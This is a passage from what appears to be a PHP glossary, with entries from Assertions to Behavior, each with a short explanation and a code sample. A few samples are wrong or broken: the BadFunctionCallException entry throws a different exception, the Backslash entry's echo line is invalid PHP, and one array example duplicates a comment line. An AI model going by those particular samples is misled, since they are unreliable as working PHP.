$this->logger->info('find', ['id' => $id]);
return $this->inner->find($id);
}
}
?>
See Also
Related
- Aspect Oriented Programming
- Decorator Pattern
- Middleware Pattern
- Proxy
- Paradigm
- Separation Of Concerns
- Decoupling
Related packages
Aspect Oriented Programming
Aspect programming is a programming paradigm that separates business logic from cross-cutting concerns: things that affect many parts of the program but would pollute the happy path of the business logic. For example, validation, formatting, logging or error handling.
See Also
Related
Related packages
Assertions
Assertions are checks that take effect in development and testing environments, but are optimised away to have zero cost in production.
Assertions are disabled in production, by using the zend.assertions directive. Then, they are said zero-cost: they are completely omitted in the code, and not executed.
Assertions are a development tool, and should not be used in production. Be aware that the removal of the assertion may leave the system running with unchecked data.
There are packages providing assertions features and more.
<?php
$a = foo();
assert($a !== null, 'Sorry, we got a NULL from foo()!');
?>
See Also
Related
- zend\.assertions
- Zero Cost
- Assumption
- Runtime Checks
- AssertionError
- print_r()
- PHP Engine
- Property-Based Testing
- Red-Green-Refactor
- Refinement Type
Related packages
AssertionError
AssertionError is thrown when an assertion made with assert() fails.
Unlike most engine errors, AssertionError is raised by user-controlled code: it only fires when the zend.assertions directive enables assertion execution, and the assert.exception directive is left at its default of 1, so that a failed assertion is turned into a thrown error instead of a silent or warning-based failure.
AssertionError extends Error, not Exception, which places it alongside engine-level failures such as TypeError and ArithmeticError rather than the SPL exception hierarchy. Since assertions are meant to be a zero-cost development aid, AssertionError should generally not be relied upon in production flow control: when zend.assertions is set to -1 the assertion code is not even compiled, and no error is thrown at all.
<?php
$age = -5;
try {
assert($age >= 0, 'Age cannot be negative');
} catch (AssertionError $e) {
print 'Assertion failed: ' . $e->getMessage();
}
?>
See Also
Related
Asset
Web assets, or also assets, is an encompassing term, that designates all essential elements necessary for the successful execution of a web-based project. Specifically, in the context of web design and development, these ‘assets’ pertain to diverse components, such as CSS, JavaScript libraries, textual content, graphics, photographs, videos, and audio files.
Assets are often reduced to their URL, which might be hard coded or dynamically generated.
See Also
Related
- Universal Resource Locator (URL)
- CSS
- Javascript
- World Wide Web (WWW)
- Hyper Text Transfer Protocol (HTTP)
- Front-end
Related packages
Assignation
Assignation, sometimes misspelled assignement, refers to the process of assigning a value to a variable. It is a fundamental concept in programming that allows storing and manipulating data.
The main operator of assignation is =. There are secondary operators, such as +=, *=, ??=, … which are called short assignation: they apply a specific operation while assigning.
Finally, there are some inherent assignations: foreach() loops, method calls and list() operator perform assignations without an explicit operator.
<?php
$a = 'b';
// $c is assigned by
foreach([1, 2, 3] as $c) {}
echo $c; // $c is 3
// list call that assigns values
[$a, $b, $c] = ['a', 'b', 'C'];
?>
See Also
Related
Associative Array
An associative array, also called a hash array, is an array whose keys are strings; there may also be integer index, mixed with the string ones.
In the evolution of PHP, associative arrays evolved into objects, where the index in the array turned into property names.
It is possible to use types others than integer and string with an array syntax: this requires building an object for that. This is the case of Iterator and Weakmap.
<?php
$associative = ['a' => 1, 'b' => 4, 3 => 5, 6 ];
echo $associative['a'];
?>
See Also
- Associative Arrays in PHP
- Arrays in PHP: Indexed, Associative, Multidimensional Arrays, and Array Functions
Related
Assumption
An assumption is a piece of code that makes use of knowledge that is not visible in the source.
Assumptions are often related to arrays: after checking that a variable is of type array, some specific indexes are used, while there is no guarantee that they are available.
Assumptions may apply to any type of data.
Assumptions are characterized by a lack of checks, before or after. They are based on code discipline, actual or expected, and hard rules that are thought to never be violated: this never happens.
Assumptions lead to faster code, and faster coding. They also yield errors later, when the assumptions rules are violated.
Assumptions may be upgraded to assertions, by adding an explicit check on the situation.
<?php
function trumpet($elephpant) {
if ($elephpant instanceof Elephpant) {
print $elephpant->getName();
} else {
// if $elephpant is not an object of type Elephpant, then it is an array. Where does this come from?
print $elephpant['name'];
// if $elephpant is an array, is 'name' always available?
}
}
?>
See Also
Related
Abstract Syntactic Tree (AST)
An abstract syntax tree, also called an AST, is a tree representation of the abstract syntactic structure of PHP source code.
It is a representation of the code, that focuses on the syntactic elements that are later executed.
See Also
Related
- Parser
- Analysis
- Token
- Homoiconicity
- Hygienic Macro
- Lexical Analysis
- Pattern-Based Analysis
- Semantic Analysis
- ANTLR4
- Code Generation
- Compiler
- Multi-pass Algorithm
- Intermediate Representation (IR)
Asymmetric Cryptography
Asymmetric cryptography, also called public-key cryptography, is a method of encrypting and authenticating data using two mathematically linked keys, a public key and a private key.
The method is build on three elements:
- The public key can be shared freely with anyone.
- The private key is kept secret by its owner.
- What one key encrypts, only the other can decrypt
RSA, ECC or Elliptic Curve, Diffie-Hellman and DSA are all asymmetric cryptography.
See Also
Related
Asymmetric Property
An asymmetric property is a property that specifies the asymmetric visibility. This means that the property has a different visibility for read and for write. By default, visibility is symmetric: identical to write and read.
<?php
class Elephpant {
public private(set) int $property;
}
?>
See Also
Related
Asymmetric Visibility
Asymmetric visibility, also called set visibility, is a feature of PHP class properties. They refer to the situation where different scopes may read, or get or write, or set.
Traditionally, the visibility options, private, protected and public, constrain the access to the property, both in reading and writing. With asymmetric visibility, there may be contexts that have different rights of access.
<?php
class Elephpant {
public private(set) string $weight = 'abc';
function setWeight($weight) {
$this->weight = $weight;
}
}
$elephpant = new Elephpant();
echo $elephpant->weight; // abc
$elephpant->setWeight('def');
echo $elephpant->weight; // def
//
$elephpant->weight = 'ghi';
?>
See Also
- PHP Asymmetric Visibility RFC: An In-Depth Look
- New in PHP 8.5: Asymmetric Visibility for Static Properties
Related
Async
The async keyword is used in programming, and especially in languages like JavaScript, Python, and C#, to define a function that runs asynchronously. It means that it can perform operations without blocking the rest of the program.
PHP does not support a notion of async. The closest feature is called fiber or parallel processing, yet it is quite different from asynchronous. Generators also provide a pseudo-asynchronous processing.
<?php
// Starting another process for parallel processing
shell_exec('php other.php &');
?>
See Also
Related
- Fibers
- Yield Generator
- Asynchronous
- Spiral
- Thread
- Blocking Wait
- Stealth Generator
- C10K
- Edge Triggered
- Fire-and-forget
- Non-blocking
- One-shot
- Asynchronous Markup Protocol (AMP)
- Channel
- Green Thread
- ReactPHP
Related packages
Asynchronous
Asynchronous PHP, often abbreviated as async PHP, refers to the capability of executing PHP code asynchronously, meaning that tasks can run concurrently without waiting for each other to complete. Traditional PHP scripts execute code synchronously, where each task must finish before the next one starts. Asynchronous PHP allows tasks to start and run independently, improving efficiency and performance, especially for tasks like handling multiple HTTP requests, database operations, or file I/O.
There are various libraries and frameworks available for implementing asynchronous PHP, such as Fiber, ReactPHP, Amp, and Swoole.
<?php
function async_task($data) {
// Simulate some asynchronous task, like fetching data from an API
usleep(1000000); // Sleep for 1 second to mimic a time-consuming task
return "Processed data: $data";
}
$fiber = new Fiber(function () {
$data = "Some data to process";
$result = async_task($data);
Fiber::suspend($result); // Suspend the fiber and yield the result
});
// Start the fiber
$fiber->start();
// Main program can continue execution while the fiber runs asynchronously
echo "Main program continues...\n";
// Resume the fiber and get the result
$result = $fiber->resume();
echo "Fiber result: $result\n";
?>
See Also
Related
- Synchronous
- Multithreading
- Promise
- Real Time
- Thread
- Async
- Blocking Wait
- Cancellation
- Fibers
- Future
- Concurrency
- Fire-and-forget
- Green Thread
- Request-Response
- Actor Model
- Asynchronous Markup Protocol (AMP)
- OpenSwoole
- ReactPHP
- Swoole
Atomic Operation
An atomic operation is an operation that is indivisible. It either completes fully or not at all, with no intermediate state visible to other threads or processes. Atomicity is one of the ACID properties of database transactions, and it is also a core concept in concurrent programming.
PHP is typically single-threaded per request, so atomicity concerns arise mainly in:
- Database transactions: a set of SQL statements executed as a single atomic unit.
- File operations: using locks to prevent partial writes.
- Shared memory or caches: using atomic increment/decrement to avoid race conditions.
Without atomicity guarantees, concurrent access can lead to race conditions and data corruption.
<?php
// Atomic database transaction
$pdo = new PDO('sqlite::memory:');
$pdo->beginTransaction();
try {
$pdo->exec('UPDATE accounts SET balance = balance - 100 WHERE id = 1');
$pdo->exec('UPDATE accounts SET balance = balance + 100 WHERE id = 2');
$pdo->commit();
} catch (PDOException $e) {
$pdo->rollBack();
}
// Atomic increment in APCu (shared memory)
apcu_inc('page_views', 1, $success);
?>
See Also
Related
Attack Surface
The attack surface of an application is the sum of all the different points where an attacker could try to enter data, extract data, or trigger unintended behavior. The larger the attack surface, the more opportunities exist for exploitation.
In applications, the attack surface spans several layers:
- Application code: input handling, query construction, file operations, serialization and deserialization.
- Infrastructure endpoints:
PHP-FPMstatus pages, API diagnostic routes, health-check URLs: operational tooling that is often less hardened than the main application. - Dependencies: every third-party package added to a project extends the attack surface with its own code, its own vulnerabilities, and its own transitive dependencies.
- PHP extensions and shared libraries: native extensions wrap C libraries whose vulnerabilities directly affect the PHP process.
A key principle is that every new feature or integration expands the attack surface. Modernizing a stack can improve security in many dimensions while simultaneously opening new areas that must be understood and managed.
Reducing attack surface is itself a security strategy: disabling unused extensions, hiding diagnostic endpoints behind authentication, limiting the PHP functions available via disable_functions, and keeping dependencies minimal all shrink the area an attacker can target.
<?php
// FPM status endpoint operational tooling that increases attack surface
// if exposed without access controls
// nginx config: location /status { fastcgi_pass php-fpm; }
// Restricting attack surface via disable_functions in php.ini:
// disable_functions = exec, shell_exec, system, passthru, popen
?>
See Also
Related
- Attack
- Vulnerability
- Security
- FastCGI Process Manager (FPM)
- Simple Object Access Protocol (SOAP)
- Dependency
- Supply Chain Attack
- Disable Functions
- Hardening
- PHP Extensions
Attack
An attack on a server is any deliberate attempt to exploit, disrupt, or gain unauthorized access to a server, its data, or its services. These attacks can target vulnerabilities in software, hardware, or human behavior, and are typically carried out by malicious actors for various motives, such as stealing data, causing downtime, or using the server as a launchpad for further attacks.
An attack relies on existing vulnerabilities. It may also exploit published or unpublished 0-day vulnerabilities, or target a specific weakness.
An attack may be automated in various manners, from a brute-force campaign targeting the same vulnerability on a large number of servers, to a tailored attack on a single server.
An attack may be blocked by appropriate counter measures, such as access blocking, bug fixing, configuration application, server moving, etc.
See Also
Related
- Zero Day Vulnerability
- Attack Surface
- Vulnerability
- Server
- Distributed Denial Of Service (DDOS)
- Insecure Deserialization
- Path Traversal
- Timing Attack
Attribute Class
This is a native PHP attribute, which tells the engine that a class is a PHP attribute.
This attribute is not necessary to make a class a valid attribute. Yet, it is recommended to use it and make the classes explicitly attributes.
<?php
#[Attribute]
class ElephpantAttribute { }
#[ElephpantAttribute]
class Elephpant { }
?>
See Also
Related
Attribute
Attributes are machine readable options that may be added to PHP code. Since PHP 8.0, they are accessible from PHP.
Attributes provide extra and customisable options for the PHP engine, static analysis tools and coders alike.
Attributes are a modern version of the phpdoc comment blocks.
Attributes are backward compatible: they can be used in any PHP version, and are ignored when not supported.
Attributes may or may not have a supporting class: attributes may be used for their semantic value, or with related code.
<?php
#[Attribute]
class Elephpant {} // this class is an Attributes
#[Elephpant] // This attribute may be instanciated, and executed
#[Tusk] // This attribute serves only as a flag. No class is available.
class Herd {} // this class is an Attributes
?>
See Also
- PHP Native Attributes
- Using PHP Attributes instead of Annotations for Static Analysis
- Unlocking the Power of Attributes in PHP
- PHP Language Extensions
- Playtime with PHP Attributes
- A guide to PHP attributes
Related
- PHPdoc
- PHP Native Attribute
- Annotations
- Attribute Class
- NoDiscard
- Properties
- delayedtargetvalidation
- Nested Attributes
- Nesting
- Sensitive Parameter
- Code Generation
- Metaclass
- Metaprogramming
- Template Metaprogramming (TMP)
Audit Trail
An audit trail, or audit log, is a chronological record of events, actions, or changes that provides documentary evidence of who did what, when, and why in a system, process, or organization. It is a critical tool for accountability, security, compliance, and troubleshooting.
See Also
Related
Related packages
Audit
An audit is a systematic, independent, and documented process for obtaining evidence and evaluating it objectively to determine whether predefined criteria, policies, or standards are being met.
Audits are conducted to verify compliance, accuracy, reliability, and integrity in various contexts, including finance, security, quality management, and software development.
See Also
Related
Authentication
Authentication is the proof that a user is indeed who he claims to be. In a couple username/password, the password is the authentication, as only the user is supposed to know it. Identification is the other aspect of the problem.
See Also
Related
- Identification
- Framework
- hash_equals()
- Null
- Privacy
- Access Control List (ACL)
- Identity
- JSON Web Token (JWT)
- One-Time Password (OTP)
- Multi-Factor Authentication (MFA)
- Single Sign On (SSO)
- OAuth
- API Gateway
- Firewall
- OpenID Connect (OIDC)
- Security Assertion Markup Language (SAML)
Authorization Header
The Authorization header carries the credentials that a client sends to a server to authenticate a request. It has the form of a scheme name followed by the credentials:
Authorization: Bearer <token>
Authorization: Basic <base64 of user:password>
A server that needs authentication answers with 401 Unauthorized and a WWW-Authenticate header. The Authorization header is never part of the response, and it should only be sent over HTTPS, because otherwise the credentials can be read by anyone on the network.
PHP reads the header from the request with $_SERVER['HTTP_AUTHORIZATION'], and sent on outgoing requests by the HTTP client.
See Also
Related
Authorize
To authorize means to give permission or approval for someone to do something, or to officially empower them to take a certain action.
To authorize relies on a system of permission and privilege, that represents what action or resource is impacted; it also relies on an identification system, to know who is requesting the permission.
The authorizations may be local to the current application, or it may be remote, such as an SSO.
<?php
if ($user->isAuthorized()) {
doSomething();
}
?>
See Also
Related
- Single Sign On (SSO)
- Role Based Access Control (RBAC)
- Identification
- Permission
- Access Control List (ACL)
- Broken Access Control
Auto-Increment
An auto-increment column is a numeric column whose value is generated by the database engine on insert, typically by adding one to the previous highest value. It is the most common way to build a surrogate primary key, since the application never has to compute or coordinate the value itself.
MySQL uses the AUTO_INCREMENT column option, PostgreSQL uses SERIAL or an IDENTITY column, and SQLite uses AUTOINCREMENT. Laravel’s migration id() and increments() helpers, and Doctrine’s autoincrement column option, both generate this kind of column.
Because the values are sequential and predictable, auto-increment identifiers exposed in a URL or an API response let an attacker enumerate every record of a resource by walking the integer range, a form of insecure direct object reference. They also leak the approximate row count and growth rate of a table to anyone who can read two consecutive IDs. This is one of the reasons applications obfuscate the value or use a UUID or ULID as the public-facing identifier instead, while keeping the auto-increment integer as the internal primary key for indexing efficiency.
Auto-increment values are not guaranteed to be gap-free: a rolled-back transaction or a deleted row still consumes a value, so the sequence should never be relied upon to reflect an exact count.
<?php
// Laravel migration
Schema::create('projects', function (Blueprint $table) {
$table->id(); // BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY
});
?>
See Also
Related
- Primary Key
- Surrogate Key
- Unique Identifier
- Sqids
- Insecure Direct Object Reference (IDOR)
- Sequence
- Database
Preappend File Directive
The auto_prepend_file PHP directive adds a require call before the main file. The file is then automatically executed, and all its definitions are added. They are then available later in the execution.
Only one file is prepended: if several files need to be, they should be included in a centralized file.
See Also
Related
Autocompletion
Autocompletion, or autocomplete, also called code completion, is an IDE or editor feature that suggests or completes code while the developer is typing. It speeds up development, reduces typos, and surfaces available APIs without requiring constant documentation lookups.
PHP autocompletion relies on static analysis: type declarations in the source, PHPDoc annotations, and type inference, where a type is not explicitly specified, may be guessed with a high level of confidence. Autocompletion relies on an LSP server: Language Server Protocol.
Autocompletion also applies to IDE plugins, framework-specific stubs, and tools like stub files to enable completion for external components.
<?php
// Full type information enables accurate autocompletion
function getUser(int $id): User {
return new User($id);
}
$user = getUser(1);
$user-> // IDE suggests: getName(), getEmail(), getId() …
?>
See Also
Related
- Type System
- Type Inference
- PHPdoc
- Static Code Analysis (SCA)
- LSP
- Language Server Protocol (LSP)
- PHP AI Editor
- PHP Editor
- Integrated Environment of Development (IDE)
Related packages
Class Autoloading
Autoloading provides a hook to allow the loading of a class, the first time PHP requires it. This is a more flexible way to handle the class definitions than the traditional inclusions, which requires good planning.
Autoloading requires each class, trait, interface or enumeration to be stored in a distinct file. This is the most popular way, yet autoloading allows any other strategy of storage, as long as the class may be loaded based only on its name.
Autoloading relies on the spl_autoload_register() function. Prior to PHP 8.0, it was possible to define the __autoload() method, and this function has been deprecated since PHP 7.2.
Autoloading does not work for global constants and functions. Those still require a specific inclusion mechanism.
In modern PHP, not using class autoloading is considered a bad practice.
<?php
spl_autoload_register(function ($class_name) {
include $class_name . '.php';
});
$obj = new MyClass1();
$obj2 = new MyClass2();
?>
See Also
- Use autoloading and namespaces in PHP
- Autoloading Performance – Avoid These 5 Mistakes!
- Understanding Autoloading in PHP: How to Implement and Use It Efficiently
Related
- Autowiring
- Inclusion Hell
- Definition
- Call
- __autoload
- Class Hoisting
- Standard PHP Library (SPL)
- Existence
- Hoisting
- Library
- Order Of Execution
- include
Automagic
Automagic is a porte-manteau, merging automatic and magic. Some PHP operations are automagic, meaning that a lot more is processed than what it appears.
Such operations usually yield surprise and confusion, or are a cherished feature.
Automagic is mostly used as an adverb, automagically.
<?php
var_dump(10 === '1e1'); // true
// PHP automagically converts the string into a number, and 1e1 yields 10.
$array = [null => 1, '33' => 2];
echo $array[0]; // 1
// PHP converts the NULL into 0
echo $array[33]; // 2
// PHP converts numeric strings to strings
?>
See Also
Related
Automatic Index
Automatic index is the index that PHP assigns to a value, when it is added to an array, without specifying the index.
By default, the indices start at 0, and are incremented one by one, each time it is needed. It is not incremented when it is not needed.
The automatic index is needed at the definition of the array, or when using the array append operator [].
PHP uses the largest integer index that was used in the array, and increments it. That way, no overwrite of the index appears.
<?php
$array = ['a', 'b', 'c'];
// [0 => 'a', 1 => 'b', 2 => 'c']
$array[] = 'd';
// [0 => 'a', 1 => 'b', 2 => 'c', 3 => 'd']
$array['e'] = 'f';
// [0 => 'a', 1 => 'b', 2 => 'c', 3 => 'd', 'e' => 'f']
$array[] = 'g';
// [0 => 'a', 1 => 'b', 2 => 'c', 3 => 'd', 'e' => 'f', 4 => 'g']
$array[11] = 'h';
// [0 => 'a', 1 => 'b', 2 => 'c', 3 => 'd', 'e' => 'f', 4 => 'g', 11 => 'h']
$array[] = 'i';
// [0 => 'a', 1 => 'b', 2 => 'c', 3 => 'd', 'e' => 'f', 4 => 'g']
// [0 => 'a', 1 => 'b', 2 => 'c', 3 => 'd', 'e' => 'f', 4 => 'g', 11 => 'h', 12 => 'i']
?>
See Also
Related
Autovivification
Autovivification is the automatic creation of an array when a value is dereferenced.
Autovivification from scalars, including true, is deprecated since PHP 7.4 and removed in version 8.0.
Autovivification from false is deprecated since PHP 8.1.
Autovivification from null is valid.
<?php
$a = false;
$a[1] = 2;
$b = null;
$b[3] = 4;
?>
See Also
Related
Autowiring
Autowiring, or auto-wiring, is the ability of the framework to inject dependencies, based on the constructor signature.
Autowiring is based on types, in the signature of the controller.
Autowiring is commonly used in dependency injection, DI containers.
Autowiring reduces boilerplate code, enhances type usage and makes refactoring easier.
<?php
class Renderer {
private View $view;
function __construct(View $view) {
$this->view = $view;
}
}
?>
See Also
Related
Related packages
Availability
Availability is the proportion of time a system or service is operational and accessible to users. It is typically expressed as a percentage, such as 99.9% three nines or 99.99% four nines, calculated over a given period.
High availability is achieved through redundancy, fail-over mechanisms, health checks, and careful deployment strategies that minimize unplanned downtime.
See Also
Related
- Service Level Agreement (SLA)
- Quality of Service (QoS)
- Reliability
- Downtime
- Monitoring
- Circuit Breaker
- Load Balancer
- Horizontal Scaling
- Cache Stampede
- CAP Theorem
- Rate Limiting
- Resilience
- The Nines (Availability)
Backslash \
\ is a character, also called anti-slash, used in various situations:
- Start of an escape sequence, in a string
- Escape character, in various languages
- Directory separator in path, on Windows systems. It is accepted by PHP, but not recommended.
- Name separator in a namespace.
<?php
namespace A\B\C;
echo \\\\n\\n; // displays a \n followed by a new line
?>
Related
Backed Enum
Backed enums are enumeration which a string or integer equivalent for each of its cases. Each equivalent, like the cases names, must be distinct. They also must be of the type of the backed enumeration: not type juggling on numeric strings or integers happens.
Non backed enumerations are called unbacked enumerations.
<?php
enum Suits: string {
case HEART = 'heart';
case CLUB = 'club';
case DIAMOND = 'diamond';
case SPADE = 'spade';
}
enum Prime_digits: int {
case TWO = 2;
case THREE = 3;
case FIVE = 5;
case SEVEN = 7;
}
?>
See Also
Related
Backed Property
A backed property is a property with a hook, that actually uses the eponymous property to store the value.
The opposite of a backed property is a virtual property.
<?php
class Elephpant {
public $trunkLength { get => $this->trunkLength; }
}
?>
See Also
Related
Backed
A backed structure has several meanings:
- Backed enumeration: an enumeration that has an integer or string value
- Backed property: a property with a hook, that actually stores the value in the property.
<?php
enum Habitat : int {
case Savanna = 1;
}
class Elephpant {
private $trunkLength { get => $this->trunkLength;}
}
?>
See Also
Related
BackedEnum
The BackedENum interface identifies an enumeration with a string or int value. It works only on backed-enumerations.
This interface is only available for type checks, and cannot be implemented by another class.
This interface ensures the enum::tryFrom() and enum::from() methods and the enum::$value property are available, to convert from and to scalars.
<?php
enum E { case A;}
enum F: int { case B = 1;}
var_dump(E::A instanceof BackedEnum); // false
var_dump(F::B instanceof BackedEnum); // true
?>
See Also
Related
Backend
Backend refers to the software that runs on the server, and not on the client machine. PHP is a typical backend language.
The complement to backend is the front end.
See Also
- Frontend VS Backend – What’s the Difference?
- Frontend vs Backend Development: What’s The Difference?
Related
Backoff
Backoff is a strategy that increases the delay between successive retries of a failed operation, instead of retrying immediately or at a fixed interval.
The most common form is exponential backoff, where the delay grows exponentially with each failed attempt, for example doubling after every failure: 1 second, 2 seconds, 4 seconds, 8 seconds, and so on, usually capped at a maximum delay so the wait does not grow unbounded. The rationale is that a failure is often caused by a temporarily overloaded or unavailable service, and hammering it with immediate retries only makes the problem worse, while a growing delay gives the service time to recover before the next attempt.
Backoff is almost always combined with jitter, a small random variation added to the computed delay. Without jitter, many clients that failed at the same time, for instance after a service restart, would all retry in lockstep at exactly the same moments, producing repeated bursts of load known as the thundering herd problem. Adding randomness spreads those retries out over time instead. Backoff is also typically paired with a maximum number of attempts, or a deadline, after which the operation is abandoned and reported as failed, rather than retried forever.
Backoff logic is commonly implemented by hand around HTTP client calls, or provided by libraries built on top of Guzzle middleware, message queue workers, or job retry mechanisms in frameworks such as Laravel, where a job’s backoff() method or attribute controls the delay before each re-attempt.
<?php
function withBackoff(callable $operation, int $maxAttempts = 5): mixed {
$attempt = 0;
while (true) {
try {
return $operation();
} catch (\Throwable $e) {
$attempt++;
if ($attempt >= $maxAttempts) {
throw $e;
}
$delay = (2 ** $attempt) + random_int(0, 1000) / 1000;
usleep((int) ($delay * 1_000_000));
}
}
}
?>
See Also
Related
Related packages
Back-tick
Back-ticks are only used to execute a command with the underlying operating system. They are the equivalent of shell_exec().
Since PHP 8.5, they are deprecated, and should be replaced with a call to shell_exec() or exec().
<?php
$dir = `ls`;
?>
See Also
- Backtick Operator to Run Shell Command is Deprecated in PHP 8.5
- PHP RFC: Deprecate backtick operator
Related
Backtrace
A backtrace is a snapshot of the callstack at a specific point in the program’s execution. This is typically needed when an error or exception occurs.
<?php
function migrate() {
trumpet();
}
function trumpet() {
debug_print_backtrace();
}
migrate();
/**
#0 /in/a4eQc(3): trumpet()
#1 /in/a4eQc(10): migrate()
*/
?>
See Also
Related
Related packages
Backward Compatible
A feature is backward compatible when it can be handled by a previous version than its version of publication. It is automatically ignored by the previous versions, either by design or by luck.
For example, the attributes #[Attribute] are backward compatible: they were introduced in version 8.0, and their syntax, starting as a comment with a #, is backward compatible: it is processed as a comment in previous PHP versions.
Note that this example is partially backward compatible: it may work or not.
The contrary of a backward compatible feature is backward incompatible.
<?php
#[Attribute] // This is backward compatible
class Elephpant {
function trumpet(#[AttributeForParameter] $trunk) { // This is not backward compatible
}
}
?>
See Also
Related
Backward Incompatible
A feature is backward incompatible when it cannot work with a previous version, and requires a specific version, or more recent.
For example, the function str_contains is backward incompatible, as it was introduced in version 8.0, and is not available in previous versions.
The keyword throw can be used within expressions since PHP 8.0. In older versions, throw was available, but needed to be an instruction on its own.
The contrary of a backward incompatible feature is forward compatible.
<?php
check() or throw new Exception('Check failed!');
?>
See Also
Related
BadFunctioncallException
The BadFunctioncallException exception is thrown if the callback refers to an undefined function or if some arguments are missing.
BadFunctioncallException is defined by the SPL extension. It is not natively used.
<?php
function trumpet(string $sound) {
if (empty($sound)) {
throw new \UnexpectedValueException('trumpet() expects a non-empty string');
}
}
?>
See Also
Related
Balanced
A pair of tokens is balanced when the opening token has a corresponding and unique closing token.
Tokens that needs balancing:
- Parenthesis, with
(and) - Curly bracket, with
{and} - Variable delimiters with curly bracket, with
${and} - Square bracket, with
[and] - Single quotes, with
' - Double quotes, with
" - Oblic quotes, with
\`
Quotes are the same for opening and closing tokens.
The listed tokens must be nested: after an opening token, any new opening token must be closed before the first one can be closed.
Inside quotes, the brackets and parenthesis may be unbalanced, as the accountability is turned off. This is not the case for curly brackets,
Closing tokens are assigned to the last opening token: in case of mismatch, it produces a syntax error.
<?php
// This is a syntax error.
// $trunk = ([;
$herd = '])(['; // this is OK inside quotes
// the curly brackets must be balanced when they enclose a variable or valid PHP expression.
// $herd = "{$trunk";
?>
See Also
Related
Bang !
!, also called the exclamation mark, is a character, used in various situations.
- Not operator:
var_dump(!1)is false - As a wildcard in regex
- As a wildcard with
fnmatch().
<?php
var_dump(!1);
?>
See Also
Related
Base Class
A base class, also called a superclass or a parent class, is a class that serves as the root of an inheritance hierarchy. Other classes extend it to inherit its properties and methods.
A base class may be concrete, meaning it can be instantiated directly, or it may be abstract, preventing direct instantiation and forcing subclasses to implement its abstract methods.
A PHP class may only extend one base class, but it may implement multiple interfaces.
There are native base classes, like Exception and Error, from which all exceptions and errors inherit.
<?php
class Animal {
public function breathe(): string {
return 'inhale/exhale';
}
}
class Dog extends Animal {
public function speak(): string {
return 'woof';
}
}
$dog = new Dog();
echo $dog->breathe(); // inherited from base class
?>
See Also
- PHP Inheritance - GeeksforGeeks
- Understanding Class Inheritance (Child and Parent Classes) in Object-Oriented PHP
Related
Base Conversion
Base conversion turns an integer written in one numeric base into the same value written in another base. PHP has base_convert() for arbitrary bases, from 2 to 36, and dedicated functions for the common cases: bindec() and decbin() for binary, octdec() and decoct() for octal, hexdec() and dechex() for hexadecimal.
base_convert() takes the number as a string, the source base and the target base, and returns a string. Digits above 9 use the letters a to z, case-insensitive. Bases outside 2 to 36 throw a ValueError. Characters that are not valid digits in the source base are ignored, with a deprecation notice since PHP 7.4.
The conversion works on integers. A value larger than PHP_INT_MAX is converted as a float, which can lose precision.
<?php
echo base_convert('ff', 16, 2); // 11111111
echo base_convert('777', 8, 10); // 511
echo base_convert('1234', 10, 36); // ya
echo bindec('1100'); // 12
echo dechex(255); // ff
echo hexdec('ff'); // 255
?>
See Also
Related
Base
The term base has two common meanings:
- Base class: a parent class from which other classes inherit. A base class defines common attributes and behavior shared by all subclasses. A base class is declared with
classand extended withextends. Abstract base classes use theabstractkeyword to enforce method implementation in subclasses - Numeric base: the number of unique digits in a positional numeral system. PHP natively supports base 2, binary, base 8, octal, base 10, decimal, and base 16, hexadecimal integer literals. The
base_convert(),bindec(),octdec(),decoct(),hexdec(), anddechex()functions convert between bases - Base 64 encoding: an encoding method a binary-to-text encoding scheme that represents binary data in an ASCII string format.
<?php
// Base class (parent class)
abstract class Shape {
abstract public function area(): float;
}
class Circle extends Shape {
public function __construct(private float $radius) {}
public function area(): float { return M_PI * $this->radius ** 2; }
}
// Numeric base conversions
echo base_convert('ff', 16, 10); // 255 (hex -> decimal)
echo base_convert('255', 10, 2); // 11111111 (decimal -> binary)
echo 0b11111111; // 255 (binary literal)
echo 0xFF; // 255 (hex literal)
echo 0377; // 255 (octal literal)
?>
See Also
Related
Base 64 Encoding
Base64 is a binary-to-text encoding scheme that represents binary data in an ASCII string format. It is often used to encode data so it can be safely transmitted over text-based systems such as email, URLs, or JSON, which may not handle binary data well.
Base64 is used to prevent degradation of the message during the transmission: the data is not corrupted by the journey on Internet.
Base64 is not encryption. It does not secure the data: there is no protection against reading by a third party, unless they are not aware of Base64 itself.
Base64 is not related to the notion of mathematical base, such as base 10, binary, octal or hexadecimal.
<?php
$phpString = 'Well, I can say: 你好!' ;
$encoded = base64_encode($phpString);
print $encoded.PHP_EOL;
$decoded = base64_decode($encoded);
print $decoded.PHP_EOL;
?>
See Also
Related
basename()
Basename is a PHP native function that returns the name of a file, extracted from a full path.
When passed a second parameter, basename uses it as the file extension and removes it. The file extension is then a string, and includes the dot. It is not possible to provide multiple file extensions.
basename() is locale aware, so it has to match the locale of the filesystem to find and remove the extension in multiple bytes encoding.
<?php
$path = '/var/www/index.php';
print basename($path); // index.php
print basename($path, '.php'); // index
print basename($path, '.PHP'); // index.php
print basename($path, 'php'); // index.
?>
See Also
Related
Batch
Batch processing refers to the treatment of several items at the same time, instead of one at a time.
Batch may mean all at the same time, or it may refers to processing the elements in several small groups.
Processing in batch is efficient when the overhead of an operation is high per unit, such as storing one row at a time in a database, or when processing everything at once requires too much resources.
Processing in intermediate size batch may also be more efficient than processing everything by unit, or as a whole. It is related to the problem of the elephpant and the bananas.
<?php
// Processing the array one by one
foreach($array as $a) {
$database->store($a);
}
// Processing the array in one time
$database->store($array);
// Processing the array by batch of 10
$chunks = array_chunk($array, 10);
foreach($chunks as $chunk) {
$database->store($chunk);
}
?>
See Also
Related
Related packages
Bcmath
For arbitrary precision mathematics, PHP offers BCMath, which supports numbers of any size and precision up to 2147483647, or 0x7FFFFFFF decimal digits, if there is sufficient memory, represented as strings.
<?php
echo bcpow(3, 40); // 12157665459056928801
echo 2 ** 40; // 1.2157665459057E+19 (a float)
?>
See Also
Related
Related packages
Bearer Token
A bearer token is an access credential sent with an HTTP request to prove the caller’s identity. Whoever holds the token is granted access, so it must be treated as a secret.
The token is sent in the Authorization header, with the scheme name Bearer followed by the token:
Authorization: Bearer <token>
Bearer tokens are defined by RFC 6750, and are commonly used with OAuth 2.0 and API keys. They must only be sent over HTTPS, must not be logged, and should be stored in environment variables or a secret store rather than in the code.
<?php
$headers = ['Authorization' => 'Bearer ' . $token];
See Also
Related
- Authorization Header
- HTTP Headers
- OAuth
- Hyper Text Transfer Protocol Secure (HTTPS)
- Application Programming Interface (API)
- Third-Party API
Behavior
Behavior, is the external, observable appearance or action of a system. It is what a piece of code actually does when it runs, as opposed to what its source merely reads.
